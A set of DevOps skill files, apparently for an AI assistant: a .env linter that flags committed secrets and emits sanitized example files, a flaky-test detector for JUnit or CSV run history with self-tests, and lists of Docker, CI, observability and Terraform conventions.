DevOps

---
name: dotenv-config-linter
description: Lints .env and .env.example files for secrets committed by mistake, weak names, duplicate keys, export prefixes, spaces around equals, empty required values, and unsafe interpolation, then suggests a cleaned example file. Use when a user asks "is this .env safe to commit?", "why won't dotenv load?", or "diff my .env.example". Includes a tested stdlib Python linter.
---

# Dotenv Config and Secrets Linter

You help people keep environment files correct and safe. You distinguish secrets that must never be committed from placeholders that belong in `.env.example`, catch parse problems that break `dotenv` loaders, and propose a cleaned example file. You never ask the user to paste production secrets into chat if a redacted sample will do.

## Files in this skill

- `scripts/dotenv_lint.py` - parses dotenv syntax, reports HIGH/WARN/INFO findings, and can emit a sanitized `.env.example` (Python 3 standard library only)
- `references/dotenv-rules.md` - syntax and safety rules the linter encodes
- `references/secret-patterns.md` - common secret shapes and how to replace them with placeholders
- `templates/lint-report.md` - the report shape to return
- `examples/example-webapp-env-review.md` - a worked review of a messy web app env file

## Workflow

### 1. Collect the facts
- Whether the file is `.env` (local secrets), `.env.example` (placeholders), or CI env config.
- Which keys are required at boot.
- Whether the repo already has a secret scanner (gitleaks, trufflehog).

### 2. Run the linter
```bash
python3 scripts/dotenv_lint.py .env
python3 scripts/dotenv_lint.py .env.example --example-mode
python3 scripts/dotenv_lint.py app.env --emit-example cleaned.env.example
python3 scripts/dotenv_lint.py - --json < sample.env
```
Prefer redacted samples. If the user pastes real secrets, warn them to rotate anything that may have leaked.

### 3. Fix
1. Treat HIGH findings (likely real secrets in an example file, duplicate keys, unquoted values with spaces) first.
2. Align `.env.example` with required keys using placeholders from `references/secret-patterns.md`.
3. Deliver with `templates/lint-report.md`.

## Rules
- Never recommend committing a real `.env` with live credentials.
- Do not print full secret values in summaries; show masked forms (`sk-…XXXX`).
- Keep key names stable unless the user wants a rename for clarity.
FILE:references/dotenv-rules.md
# Dotenv rules this skill enforces

## Syntax
- One `KEY=VALUE` per line; `#` starts a comment.
- Prefer no spaces around `=`. `KEY = VALUE` is WARN (some loaders accept it, many do not).
- Values with spaces or `#` should be single- or double-quoted.
- `export KEY=VALUE` is INFO (works in shells, redundant for most dotenv parsers).
- Duplicate keys: last one wins in many loaders — flag as HIGH because intent is unclear.

## Safety
- `.env.example` must not contain values that look like live secrets (long random tokens, private keys, `sk-`/`ghp_` prefixes, AWS-shaped keys).
- Empty values for keys listed as required → WARN.
- Interpolation `OTHER` is INFO; confirm the referenced key exists.

## Naming
- Prefer `SCREAMING_SNAKE_CASE`.
- Avoid generic names like `PASSWORD` without a service prefix (`DB_PASSWORD`).
FILE:references/secret-patterns.md
# Secret patterns → placeholders

| Looks like | Placeholder |
|---|---|
| `sk-` + long alnum | `sk-your-openai-key` |
| `ghp_` / `github_pat_` | `ghp_your_token` |
| `AKIA` + 16 chars | `AKIA_YOUR_ACCESS_KEY` |
| `-----BEGIN` private key block | omit from example; document path instead |
| Long base64-ish 32+ chars | `replace-me` or `changeme_<purpose>` |
| Database URLs with passwords | `postgres://USER:PASSWORD@host:5432/db` |

When emitting an example file, replace secret-looking values with placeholders and keep non-secret config (ports, feature flags, public URLs) as-is if they are clearly non-sensitive.
FILE:templates/lint-report.md
# Dotenv lint report

## File reviewed
- Path / role: `.env` | `.env.example` | other

## Summary
- HIGH: …
- WARN: …
- INFO: …

## Findings
| Severity | Line | Key | Issue | Fix |
|---|---|---|---|---|

## Suggested `.env.example`
```dotenv
…
```

## Rotate if exposed
- …
FILE:examples/example-webapp-env-review.md
# Example: messy webapp `.env.example`

**Input (bad):**
```
export DB_URL=postgres://app:SuperSecret123@db:5432/app
API_KEY = sk-proj-abcdefghijklmnopqrstuvwxyz012345
PORT=3000
PORT=3001
FEATURE_X=true
```

**Findings:**
- HIGH: `API_KEY` looks like a live OpenAI-style key in an example file.
- HIGH: duplicate `PORT`.
- WARN: spaces around `=` on `API_KEY`.
- INFO: `export` prefix on `DB_URL`.
- HIGH: database password embedded in example URL.

**Cleaned example:**
```
DB_URL=postgres://USER:PASSWORD@db:5432/app
API_KEY=sk-your-openai-key
PORT=3000
FEATURE_X=true
```
FILE:scripts/dotenv_lint.py
#!/usr/bin/env python3
"""Lint .env / .env.example files for syntax and likely secrets.

Usage:
  python3 dotenv_lint.py .env
  python3 dotenv_lint.py .env.example --example-mode
  python3 dotenv_lint.py app.env --emit-example cleaned.env.example
  python3 dotenv_lint.py - --json < sample.env
"""
from __future__ import annotations

import argparse
import json
import re
import sys
from pathlib import Path

SECRET_RES = [
    (re.compile(r"sk-[A-Za-z0-9-]{20,}"), "openai-like key"),
    (re.compile(r"ghp_[A-Za-z0-9]{20,}"), "github token"),
    (re.compile(r"github_pat_[A-Za-z0-9_]{20,}"), "github pat"),
    (re.compile(r"AKIA[0-9A-Z]{16}"), "aws access key id"),
    (re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----"), "private key block"),
    (re.compile(r"(?i)password=([^&\s]{8,})"), "password in URL"),
    (re.compile(r"(?i)://[^:/@]+:[^@/]{8,}@"), "credentials embedded in URL"),
]
LINE_RE = re.compile(
    r"^(?P<export>export\s+)?(?P<key>[A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?P<val>.*)$"
)


def mask(val: str) -> str:
    if len(val) <= 8:
        return "***"
    return val[:3] + "…" + val[-4:]


def looks_placeholder(val: str) -> bool:
    v = val.strip().strip("'\"")
    low = v.lower()
    if (
        not v
        or "your-" in low
        or "changeme" in low
        or "replace" in low
        or "example" in low
        or low in {"password", "user", "todo", "xxx"}
        or "user:password@" in low
        or "://user:password@" in low
    ):
        return True
    # URL with obvious placeholders
    if "://" in v and "@" in v:
        if re.search(r"://(USER|user|USERNAME|username):(PASSWORD|password|PASS|pass|secret)@", v):
            return True
    return False


def parse_file(text: str) -> tuple[list[dict], list[dict]]:
    findings = []
    entries = []
    seen = {}
    for i, line in enumerate(text.splitlines(), 1):
        raw = line.rstrip("\n")
        stripped = raw.strip()
        if not stripped or stripped.startswith("#"):
            continue
        m = LINE_RE.match(stripped)
        if not m:
            findings.append({"severity": "HIGH", "line": i, "key": None,
                             "issue": "unparseable line", "fix": "use KEY=VALUE"})
            continue
        key, val, export = m.group("key"), m.group("val"), m.group("export")
        if re.search(r"\s=\s|=\s|\s=", raw.split("#")[0]) and " = " in raw:
            findings.append({"severity": "WARN", "line": i, "key": key,
                             "issue": "spaces around equals", "fix": f"{key}={val.strip()}"})
        if export:
            findings.append({"severity": "INFO", "line": i, "key": key,
                             "issue": "export prefix", "fix": "drop export for dotenv parsers"})
        if key in seen:
            findings.append({"severity": "HIGH", "line": i, "key": key,
                             "issue": f"duplicate key (also line {seen[key]})",
                             "fix": "keep a single definition"})
        seen[key] = i
        # strip inline comments for unquoted values
        store_val = val
        if val and not (val.startswith("'") or val.startswith('"')):
            if " #" in val:
                store_val = val.split(" #", 1)[0].rstrip()
        entries.append({"line": i, "key": key, "value": store_val, "raw": raw})
    return findings, entries


def secret_findings(entries: list[dict], example_mode: bool) -> list[dict]:
    out = []
    for e in entries:
        val = e["value"].strip().strip("'\"")
        if looks_placeholder(val):
            continue
        for rx, label in SECRET_RES:
            if rx.search(val):
                sev = "HIGH" if example_mode else "WARN"
                out.append({"severity": sev, "line": e["line"], "key": e["key"],
                            "issue": f"likely secret ({label}): {mask(val)}",
                            "fix": "replace with placeholder in example files; rotate if committed"})
                break
        else:
            # long random-ish token
            if example_mode and len(val) >= 32 and re.fullmatch(r"[A-Za-z0-9+/=_-]+", val):
                out.append({"severity": "HIGH", "line": e["line"], "key": e["key"],
                            "issue": f"long token-like value: {mask(val)}",
                            "fix": "use a placeholder like replace-me"})
    return out


def emit_example(entries: list[dict]) -> str:
    lines = []
    seen = set()
    for e in entries:
        if e["key"] in seen:
            continue
        seen.add(e["key"])
        val = e["value"].strip().strip("'\"")
        secret = False
        if not looks_placeholder(val):
            for rx, _ in SECRET_RES:
                if rx.search(val):
                    secret = True
                    break
            if len(val) >= 32 and re.fullmatch(r"[A-Za-z0-9+/=_-]+", val):
                secret = True
        if secret or (val and not looks_placeholder(val) and re.search(r"(?i)secret|password|token|api[_-]?key", e["key"])):
            if re.search(r"(?i)api[_-]?key|token", e["key"]):
                new_v = "replace-me-token"
            elif re.search(r"(?i)password|secret", e["key"]):
                new_v = "changeme"
            elif "://" in val and "@" in val:
                new_v = re.sub(r"://([^:/@]+):([^@/]+)@", r"://USER:PASSWORD@", val)
            else:
                new_v = "replace-me"
        else:
            new_v = val
        lines.append(f"{e['key']}={new_v}")
    return "\n".join(lines) + ("\n" if lines else "")


def main(argv: list[str]) -> int:
    ap = argparse.ArgumentParser(description=__doc__)
    ap.add_argument("path", help="Env file path, or - for stdin")
    ap.add_argument("--example-mode", action="store_true",
                    help="Treat file as .env.example (secrets are HIGH)")
    ap.add_argument("--emit-example", metavar="PATH", help="Write sanitized example file")
    ap.add_argument("--json", action="store_true")
    args = ap.parse_args(argv)

    if args.path == "-":
        text = sys.stdin.read()
    else:
        path = Path(args.path)
        if not path.is_file():
            print(f"error: file not found: {args.path}", file=sys.stderr)
            return 2
        text = path.read_text(encoding="utf-8")
    example_mode = args.example_mode or (args.path != "-" and Path(args.path).name.endswith(".example"))
    findings, entries = parse_file(text)
    findings.extend(secret_findings(entries, example_mode))
    findings.sort(key=lambda f: ({"HIGH": 0, "WARN": 1, "INFO": 2}[f["severity"]], f["line"] or 0))

    example = emit_example(entries)
    if args.emit_example:
        Path(args.emit_example).write_text(example, encoding="utf-8")

    summary = {"HIGH": 0, "WARN": 0, "INFO": 0}
    for f in findings:
        summary[f["severity"]] += 1

    if args.json:
        json.dump({"summary": summary, "findings": findings, "example": example}, sys.stdout, indent=2)
        sys.stdout.write("\n")
    else:
        print(f"summary: HIGH={summary['HIGH']} WARN={summary['WARN']} INFO={summary['INFO']}")
        for f in findings:
            key = f["key"] or "-"
            print(f"[{f['severity']}] line {f['line']}: {key}: {f['issue']} → {f['fix']}")
        if args.emit_example:
            print(f"wrote example: {args.emit_example}")
    return 1 if summary["HIGH"] else 0


if __name__ == "__main__":
    sys.exit(main(sys.argv[1:]))

# Dockerfile and CI taste
- Use multi-stage builds and ship only the runtime artifacts in the final stage. Confidence: 0.95
- Pin base images to a specific version tag, and to a digest for production. Confidence: 0.90
- Prefer slim or distroless final images over full OS images. Confidence: 0.85
- Run the container as a non-root user. Confidence: 0.95
- Order layers so dependency manifests are copied and installed before source code. Confidence: 0.95
- Always keep a .dockerignore that excludes node_modules, .git and local env files. Confidence: 0.95
- Add a HEALTHCHECK or an equivalent readiness probe. Confidence: 0.80
- Use BuildKit cache mounts for package manager caches. Confidence: 0.80
- Never bake secrets into images; pass them at runtime or use build secrets. Confidence: 0.95
- Use exec-form CMD so the process receives signals correctly. Confidence: 0.90
- Scan images with Trivy in CI and fail on critical vulnerabilities. Confidence: 0.80
- Cache dependencies in GitHub Actions keyed on the lockfile hash. Confidence: 0.85
- Run lint, type check and tests as separate parallel CI jobs. Confidence: 0.80
- Tag images with the git SHA and never rely on the latest tag for deploys. Confidence: 0.90
- Keep workflows short and move repeated steps into reusable workflows. Confidence: 0.70

# Observability taste
- Instrument with OpenTelemetry first and treat vendor SDKs as exporters, not the API you call. Confidence: 0.90
- Emit structured JSON logs with a stable schema (`level`, `msg`, `service`, `trace_id`) instead of free-form strings. Confidence: 0.95
- Propagate `trace_id` and `span_id` into every log line so logs and traces join automatically. Confidence: 0.95
- Prefer RED metrics for services (rate, errors, duration) and USE metrics for resources (utilization, saturation, errors). Confidence: 0.85
- Keep cardinality under control: never put user IDs or raw URLs into metric labels. Confidence: 0.95
- Sample traces head-based in production and always keep errors and slow requests. Confidence: 0.85
- Name spans after the work unit (`http.server`, `db.query`, `queue.publish`), not after internal function names. Confidence: 0.80
- Log at info for successful business events, warn for recoverable problems, error only when a human should look. Confidence: 0.85
- Never log secrets, tokens, passwords or full request bodies with PII. Confidence: 0.95
- Define SLOs with error budgets and alert on burn rate, not on every raw CPU spike. Confidence: 0.85
- Prefer exemplars that link a metric spike to an example trace over guessing from dashboards alone. Confidence: 0.80
- Ship a bare-minimum dashboard per service: traffic, latency p95/p99, error rate, saturation. Confidence: 0.85
- Include `deployment.environment` and service version as resource attributes on every signal. Confidence: 0.90
- Use baggage sparingly; put stable identity in resource attributes, not in every span attribute. Confidence: 0.75
- Test instrumentation in CI with a smoke request that asserts a span and a log line exist. Confidence: 0.70
- Keep runbooks next to alerts so on-call knows the first three checks to run. Confidence: 0.85
- Prefer histogram buckets tuned to your SLO latency target over default buckets. Confidence: 0.80

---
name: flaky-test-detector
description: Finds flaky tests from repeated CI runs: parses JUnit XML or a CSV run history, flags tests that both pass and fail (confirmed when on the same commit), ranks them by flip and failure rate, and suggests likely causes and fixes. Use when CI is "randomly red", before adding retries, or triaging a quarantine list. Includes a stdlib Python detector with --self-test.
---

# Flaky Test Detector

You help engineering teams separate genuinely broken tests from flaky ones. You read results from several CI runs, find tests whose outcome changes without a code change, rank them by how much pain they cause, and propose a concrete fix or quarantine plan for each. You never "fix" flakiness by just adding retries, and you never call a test flaky without evidence from at least two runs that disagree.

## Files in this skill

- `scripts/flaky_tests.py` - parses JUnit XML files (one per run) or a CSV history and prints a ranked flakiness table or JSON (Python 3 standard library only)
- `references/flakiness-causes.md` - common root causes with symptoms and fixes
- `references/junit-and-history-formats.md` - how to export JUnit XML and CSV history from popular runners and CI systems
- `templates/flaky-report.md` - report for a PR comment, issue, or weekly CI health review
- `examples/test-history.csv` - sample run history with a same-commit flake

## Workflow

### 1. Collect evidence
Ask for, or help produce:
- JUnit XML from at least 3 runs of the same suite (CI artifacts, or a local loop such as running the suite 10 times)
- Or a CSV with `run_id,test,status` and, ideally, `commit` and `duration_s`
- Context: runner (pytest, Jest, JUnit, Go test, RSpec), parallelism, retries already enabled, shared services (DB, browser, network)

If only one run is available, explain that flakiness cannot be proven and suggest a rerun loop on an unchanged commit.

### 2. Run the detector
```
python3 scripts/flaky_tests.py run1.xml run2.xml run3.xml
python3 scripts/flaky_tests.py --csv examples/test-history.csv --only-flaky
python3 scripts/flaky_tests.py --csv history.csv --json
python3 scripts/flaky_tests.py --self-test
```
Exit code 1 means at least one flaky test was found (handy as a CI health gate); 2 means bad input.

### 3. Classify
- **flaky_confirmed**: passed and failed on the same commit. Strongest evidence; fix first.
- **flaky**: mixed results across runs, commit unknown or different. Check whether the code changed between runs.
- **always_failing**: a real failure, not flakiness. Route to the owner as a bug.
- **stable** / **insufficient_data**: no action, or collect more runs.

Use `flip_rate` (how often the result changes between consecutive runs) and `fail_rate` together. A high `duration_spread` hints at timeouts, network calls, or resource contention.

### 4. Diagnose
For each flaky test, read the test code and failure messages, then match symptoms against `references/flakiness-causes.md`: timing and sleeps, test order dependence, shared state, time zones and clocks, randomness without seeds, network, concurrency, resource limits.

### 5. Recommend
For each test give: likely cause, evidence, a specific fix (for example "replace sleep(2) with waiting for the order status event"), an owner, and whether to quarantine temporarily. Fill `templates/flaky-report.md`.

## Rules

- Retries are a temporary bandage with an expiry date, never the fix.
- Quarantined tests need an owner and a ticket; list them in the report.
- Do not delete a flaky test without the owner's agreement.
- Keep statistics honest: say how many runs the conclusion is based on.
- Never paste secrets or full logs with tokens into reports; trim to the relevant assertion.
FILE:references/flakiness-causes.md
# Common causes of flaky tests

| Cause | Typical symptoms | Fix |
|---|---|---|
| Fixed sleeps and timing | Fails more on busy CI agents; duration spread is high | Wait for a condition or event with a timeout instead of `sleep` |
| Test order dependence | Passes alone, fails in the full suite or with random order | Reset shared state in setup/teardown; run with random order to reproduce |
| Shared mutable state | Globals, singletons, caches, env vars leak between tests | Isolate fixtures; restore env; avoid module-level state |
| Shared external resources | Same DB rows, ports, temp files, or queues used by parallel workers | Unique names per worker; transactions rolled back per test; random free ports |
| Clock and time zone | Fails near midnight, month end, DST changes, or on agents in other zones | Freeze or inject the clock; use UTC; avoid "now" in assertions |
| Unseeded randomness | Rare failures with odd data | Seed generators and print the seed on failure |
| Network and third-party calls | Timeouts, 429s, DNS errors | Mock or record responses; keep real calls in a separate, non-blocking suite |
| Concurrency and async | Race conditions, unawaited promises, threads not joined | Await everything; use proper synchronization; add deterministic hooks |
| Resource limits | OOM, file handle exhaustion, slow containers | Lower parallelism; clean up resources; raise limits deliberately |
| UI and browser tests | Element not found, animation timing, viewport differences | Use stable selectors and auto-waiting locators; disable animations in test mode |
| Floating point and ordering | Assertion on unordered collections or exact floats | Compare sorted values; use tolerance |

## Triage questions
1. Does it fail on the same commit when rerun? (flaky_confirmed)
2. Does it fail alone, or only with other tests?
3. Does failure correlate with a specific agent, time of day, or parallel worker?
4. Is the failure message always the same?
5. Did retries hide it before? Check retry logs.
FILE:references/junit-and-history-formats.md
# Getting JUnit XML and run history

## JUnit XML per run
- pytest: `pytest --junitxml=reports/run-$N.xml`
- Jest: `jest-junit` reporter (`JEST_JUNIT_OUTPUT_FILE=reports/run-$N.xml`)
- Go: `go test -v ./... 2>&1 | go-junit-report > reports/run-$N.xml`
- JUnit / Maven Surefire: `target/surefire-reports/*.xml` (merge per run)
- RSpec: `rspec_junit_formatter`
- Playwright: `--reporter=junit`

Rerun loop on an unchanged commit:
```
for N in $(seq 1 10); do pytest --junitxml=reports/run-$N.xml || true; done
python3 scripts/flaky_tests.py reports/run-*.xml
```
Pass files in run order (glob order is fine if names sort correctly, e.g. run-01..run-10).

## How the script reads JUnit
- Test id = `classname::name`
- `<failure>` or `<error>` child = fail; `<skipped>` = skip; otherwise pass
- `time` attribute = duration in seconds

## CSV history
Columns: `run_id,test,status` plus optional `commit,duration_s`. Accepted statuses: pass/passed/ok/success, fail/failed/failure/error/broken, skip/skipped/ignored/pending. Rows must be in run order.

Export ideas: CI test analytics APIs, a small job that appends one row per test per run to a CSV artifact, or a query against your test results database.
FILE:templates/flaky-report.md
# Flaky Test Report

**Suite:** <name>  **Runs analyzed:** <n> (<date range or commits>)  **Runner:** <pytest / Jest / ...>

## Summary
- flaky_confirmed: <n>  flaky: <n>  always_failing: <n>  stable: <n>  insufficient_data: <n>
- Retries currently enabled: <yes/no, count>

## Fix first
| Test | Class | Fail rate | Flip rate | Likely cause | Evidence | Proposed fix | Owner | Quarantine? |
|---|---|---|---|---|---|---|---|---|
| | | | | | | | | |

## Real failures (not flaky)
| Test | Failing since | Message (trimmed) | Owner |
|---|---|---|---|

## Quarantine list
| Test | Ticket | Owner | Expiry date |
|---|---|---|---|

## Next steps
1. 
2. 
FILE:examples/test-history.csv
run_id,test,status,commit,duration_s
1,checkout::test_apply_coupon,pass,a1b2c3,0.42
1,checkout::test_payment_timeout,pass,a1b2c3,1.10
1,search::test_autocomplete,pass,a1b2c3,0.31
1,profile::test_avatar_upload,failed,a1b2c3,2.05
2,checkout::test_apply_coupon,pass,a1b2c3,0.40
2,checkout::test_payment_timeout,failed,a1b2c3,5.02
2,search::test_autocomplete,pass,a1b2c3,0.29
2,profile::test_avatar_upload,failed,a1b2c3,2.10
3,checkout::test_apply_coupon,pass,d4e5f6,0.44
3,checkout::test_payment_timeout,pass,d4e5f6,1.07
3,search::test_autocomplete,skipped,d4e5f6,
3,profile::test_avatar_upload,failed,d4e5f6,2.01
4,checkout::test_apply_coupon,pass,d4e5f6,0.41
4,checkout::test_payment_timeout,failed,d4e5f6,5.01
4,search::test_autocomplete,pass,d4e5f6,0.30
4,profile::test_avatar_upload,failed,d4e5f6,2.07
FILE:scripts/flaky_tests.py
#!/usr/bin/env python3
"""Detect flaky tests from repeated CI runs (Python 3 standard library only).

Inputs (any mix):
  * JUnit XML files, one per run, in run order:  flaky_tests.py run1.xml run2.xml run3.xml
  * A CSV history file with columns run_id,test,status[,commit][,duration_s]:  flaky_tests.py --csv history.csv

Statuses: pass, fail (failure or error), skip. Skips are ignored for flakiness math.
Classifications per test:
  flaky_confirmed   - passed AND failed on the same commit
  flaky             - passed AND failed across runs (commit unknown or different)
  always_failing    - failed in every non-skipped run (>= --min-runs)
  stable            - passed in every non-skipped run (>= --min-runs)
  insufficient_data - fewer than --min-runs non-skipped results

Exit code: 1 if any flaky/flaky_confirmed test is found, else 0 (2 on input errors).
"""
import argparse
import csv
import json
import sys
import xml.etree.ElementTree as ET
from collections import OrderedDict

STATUS_ALIASES = {
    "pass": "pass", "passed": "pass", "ok": "pass", "success": "pass",
    "fail": "fail", "failed": "fail", "failure": "fail", "error": "fail", "broken": "fail",
    "skip": "skip", "skipped": "skip", "ignored": "skip", "pending": "skip",
}


def norm_status(raw):
    s = STATUS_ALIASES.get(str(raw).strip().lower())
    if s is None:
        raise ValueError(f"unknown status: {raw!r}")
    return s


def parse_junit_text(text, run_id):
    """Return list of (run_id, test_id, status, commit, duration) from JUnit XML text."""
    root = ET.fromstring(text)
    rows = []
    for case in root.iter("testcase"):
        cls = case.get("classname") or ""
        name = case.get("name") or "?"
        test_id = f"{cls}::{name}" if cls else name
        if case.find("failure") is not None or case.find("error") is not None:
            status = "fail"
        elif case.find("skipped") is not None:
            status = "skip"
        else:
            status = "pass"
        try:
            dur = float(case.get("time", "") or 0.0)
        except ValueError:
            dur = 0.0
        rows.append((run_id, test_id, status, None, dur))
    return rows


def parse_csv_text(text):
    rows = []
    reader = csv.DictReader(text.splitlines())
    need = {"run_id", "test", "status"}
    if not reader.fieldnames or not need.issubset({f.strip() for f in reader.fieldnames}):
        raise ValueError("CSV needs columns run_id,test,status (optional commit,duration_s)")
    for r in reader:
        r = {k.strip(): (v or "").strip() for k, v in r.items() if k}
        dur = float(r["duration_s"]) if r.get("duration_s") else 0.0
        rows.append((r["run_id"], r["test"], norm_status(r["status"]), r.get("commit") or None, dur))
    return rows


def analyze(rows, min_runs=3):
    """rows in run order. Returns OrderedDict test_id -> stats dict."""
    tests = OrderedDict()
    for run_id, test_id, status, commit, dur in rows:
        t = tests.setdefault(test_id, {"results": [], "durations": []})
        t["results"].append((run_id, status, commit))
        if status != "skip" and dur:
            t["durations"].append(dur)
    out = OrderedDict()
    for test_id, t in tests.items():
        seq = [s for _, s, _ in t["results"] if s != "skip"]
        passes = seq.count("pass")
        fails = seq.count("fail")
        skips = sum(1 for _, s, _ in t["results"] if s == "skip")
        flips = sum(1 for a, b in zip(seq, seq[1:]) if a != b)
        by_commit = {}
        for _, s, c in t["results"]:
            if c and s != "skip":
                by_commit.setdefault(c, set()).add(s)
        mixed_commits = sorted(c for c, ss in by_commit.items() if ss == {"pass", "fail"})
        n = len(seq)
        if passes and fails:
            cls = "flaky_confirmed" if mixed_commits else "flaky"
        elif n < min_runs:
            cls = "insufficient_data"
        elif fails == n:
            cls = "always_failing"
        else:
            cls = "stable"
        durs = t["durations"]
        out[test_id] = {
            "runs": n,
            "passes": passes,
            "fails": fails,
            "skips": skips,
            "fail_rate": round(fails / n, 3) if n else 0.0,
            "flips": flips,
            "flip_rate": round(flips / (n - 1), 3) if n > 1 else 0.0,
            "mixed_commits": mixed_commits,
            "max_duration_s": round(max(durs), 3) if durs else None,
            "duration_spread": round(max(durs) / min(durs), 2) if durs and min(durs) > 0 else None,
            "classification": cls,
        }
    return out


def priority(stats):
    """Higher = fix first. Confirmed flakiness and high flip rates rank highest."""
    base = {"flaky_confirmed": 3.0, "flaky": 2.0, "always_failing": 1.0}.get(stats["classification"], 0.0)
    return round(base + stats["flip_rate"] + stats["fail_rate"], 3)


def render_table(results):
    lines = ["| Test | Class | Runs | Fails | Fail rate | Flip rate | Same-commit mix | Priority |",
             "|---|---|---|---|---|---|---|---|"]
    ranked = sorted(results.items(), key=lambda kv: (-priority(kv[1]), kv[0]))
    for tid, s in ranked:
        lines.append(f"| {tid} | {s['classification']} | {s['runs']} | {s['fails']} | "
                     f"{s['fail_rate']:.0%} | {s['flip_rate']:.0%} | {', '.join(s['mixed_commits']) or '-'} | {priority(s)} |")
    return "\n".join(lines)


def summary(results):
    counts = {}
    for s in results.values():
        counts[s["classification"]] = counts.get(s["classification"], 0) + 1
    return counts


JUNIT_RUN = """<testsuites><testsuite name="api">
<testcase classname="api.test_orders" name="test_create" time="0.12"/>
<testcase classname="api.test_orders" name="test_refund" time="{refund_time}">{refund}</testcase>
<testcase classname="api.test_auth" name="test_expired_token" time="0.05">{auth}</testcase>
<testcase classname="api.test_search" name="test_reindex" time="1.0"><skipped/></testcase>
</testsuite></testsuites>"""


def _run(refund_fail, auth_fail, refund_time="0.30"):
    return JUNIT_RUN.format(
        refund='<failure message="timeout"/>' if refund_fail else "",
        auth='<error message="boom"/>' if auth_fail else "",
        refund_time=refund_time)


def self_test():
    rows = []
    pattern = [(False, True), (True, True), (False, True), (True, True), (False, True)]
    for i, (rf, af) in enumerate(pattern, 1):
        rows += parse_junit_text(_run(rf, af, "0.30" if not rf else "3.10"), f"run{i}")
    res = analyze(rows, min_runs=3)
    csv_text = ("run_id,test,status,commit,duration_s\n"
                "1,ui::login,pass,abc,1.0\n2,ui::login,failed,abc,1.2\n3,ui::login,pass,def,0.9\n"
                "1,ui::cart,pass,abc,\n2,ui::cart,pass,abc,\n"
                "1,ui::banner,skipped,abc,\n2,ui::banner,ok,abc,\n3,ui::banner,ok,def,\n4,ui::banner,ok,def,\n")
    res_csv = analyze(parse_csv_text(csv_text), min_runs=3)
    bad_status = False
    try:
        norm_status("weird")
    except ValueError:
        bad_status = True
    bad_csv = False
    try:
        parse_csv_text("a,b\n1,2\n")
    except ValueError:
        bad_csv = True
    cases = [
        ("junit_case_count", len(res), 4),
        ("create_stable", res["api.test_orders::test_create"]["classification"], "stable"),
        ("refund_flaky", res["api.test_orders::test_refund"]["classification"], "flaky"),
        ("refund_flips", res["api.test_orders::test_refund"]["flips"], 4),
        ("refund_flip_rate", res["api.test_orders::test_refund"]["flip_rate"], 1.0),
        ("refund_fail_rate", res["api.test_orders::test_refund"]["fail_rate"], 0.4),
        ("refund_duration_spread", res["api.test_orders::test_refund"]["duration_spread"], 10.33),
        ("error_counts_as_fail", res["api.test_auth::test_expired_token"]["classification"], "always_failing"),
        ("skip_only_insufficient", res["api.test_search::test_reindex"]["classification"], "insufficient_data"),
        ("skip_counted", res["api.test_search::test_reindex"]["skips"], 5),
        ("csv_same_commit_confirmed", res_csv["ui::login"]["classification"], "flaky_confirmed"),
        ("csv_mixed_commit_listed", res_csv["ui::login"]["mixed_commits"], ["abc"]),
        ("csv_two_runs_insufficient", res_csv["ui::cart"]["classification"], "insufficient_data"),
        ("csv_skip_ignored_stable", res_csv["ui::banner"]["classification"], "stable"),
        ("priority_order", priority(res_csv["ui::login"]) > priority(res["api.test_orders::test_refund"]), True),
        ("unknown_status_rejected", bad_status, True),
        ("bad_csv_rejected", bad_csv, True),
        ("summary_counts", summary(res), {"stable": 1, "flaky": 1, "always_failing": 1, "insufficient_data": 1}),
    ]
    failed = 0
    for name, got, expected in cases:
        ok = abs(got - expected) < 0.01 if isinstance(expected, float) else got == expected
        failed += not ok
        print(f"{'PASS' if ok else 'FAIL'}  {name}: got={got!r} expected={expected!r}")
    print(f"\n{len(cases) - failed}/{len(cases)} passed")
    return 1 if failed else 0


def main(argv=None):
    p = argparse.ArgumentParser(description="Detect flaky tests from repeated JUnit XML runs or a CSV history.")
    p.add_argument("junit", nargs="*", help="JUnit XML files in run order")
    p.add_argument("--csv", help="CSV history: run_id,test,status[,commit][,duration_s]")
    p.add_argument("--min-runs", type=int, default=3)
    p.add_argument("--json", action="store_true", help="print JSON instead of a markdown table")
    p.add_argument("--only-flaky", action="store_true")
    p.add_argument("--self-test", action="store_true")
    a = p.parse_args(argv)
    if a.self_test:
        return self_test()
    rows = []
    try:
        for i, path in enumerate(a.junit, 1):
            with open(path, encoding="utf-8") as fh:
                rows += parse_junit_text(fh.read(), f"run{i}:{path}")
        if a.csv:
            with open(a.csv, encoding="utf-8") as fh:
                rows += parse_csv_text(fh.read())
    except (OSError, ValueError, ET.ParseError) as e:
        print(f"error: {e}", file=sys.stderr)
        return 2
    if not rows:
        p.error("give JUnit XML files, --csv, or --self-test")
    res = analyze(rows, a.min_runs)
    if a.only_flaky:
        res = OrderedDict((k, v) for k, v in res.items() if v["classification"].startswith("flaky"))
    if a.json:
        print(json.dumps({"summary": summary(res), "tests": res}, indent=2))
    else:
        print(render_table(res))
        print("\nSummary:", ", ".join(f"{k}={v}" for k, v in sorted(summary(res).items())))
    return 1 if any(v["classification"].startswith("flaky") for v in res.values()) else 0


if __name__ == "__main__":
    sys.exit(main())

# Terraform taste of a cloud platform engineer
- Pin the Terraform version and every provider version, and commit .terraform.lock.hcl. Confidence: 0.95
- Store state remotely with locking enabled, for example S3 with DynamoDB or Terraform Cloud. Confidence: 0.95
- Split state per environment and per system so one apply never touches everything. Confidence: 0.90
- Use separate directories per environment instead of Terraform workspaces for prod and staging. Confidence: 0.75
- Keep modules small and focused on one concern, such as a network or a database. Confidence: 0.85
- Pin module sources to a tag or version, never to a moving branch. Confidence: 0.90
- Give every variable a type and a description, and add validation blocks for risky inputs. Confidence: 0.85
- Expose only the outputs that other stacks actually consume. Confidence: 0.70
- Name resources in snake_case and avoid repeating the resource type in the name. Confidence: 0.75
- Apply a shared tag set (owner, environment, cost center) through provider default_tags. Confidence: 0.85
- Prefer for_each over count so adding or removing an item does not reshuffle addresses. Confidence: 0.90
- Use moved blocks for refactors instead of manual terraform state mv. Confidence: 0.85
- Bring existing resources in with import blocks that are reviewed in a pull request. Confidence: 0.80
- Run terraform fmt, validate and tflint in CI on every pull request. Confidence: 0.90
- Post the terraform plan output as a pull request comment for review. Confidence: 0.85
- Apply only from CI using the reviewed plan file, never from a laptop. Confidence: 0.85
- Authenticate CI to the cloud with OIDC instead of long-lived access keys. Confidence: 0.90
- Never put secrets in tfvars; read them from a secrets manager at apply time. Confidence: 0.90
- Use prevent_destroy on stateful resources like databases and buckets. Confidence: 0.80
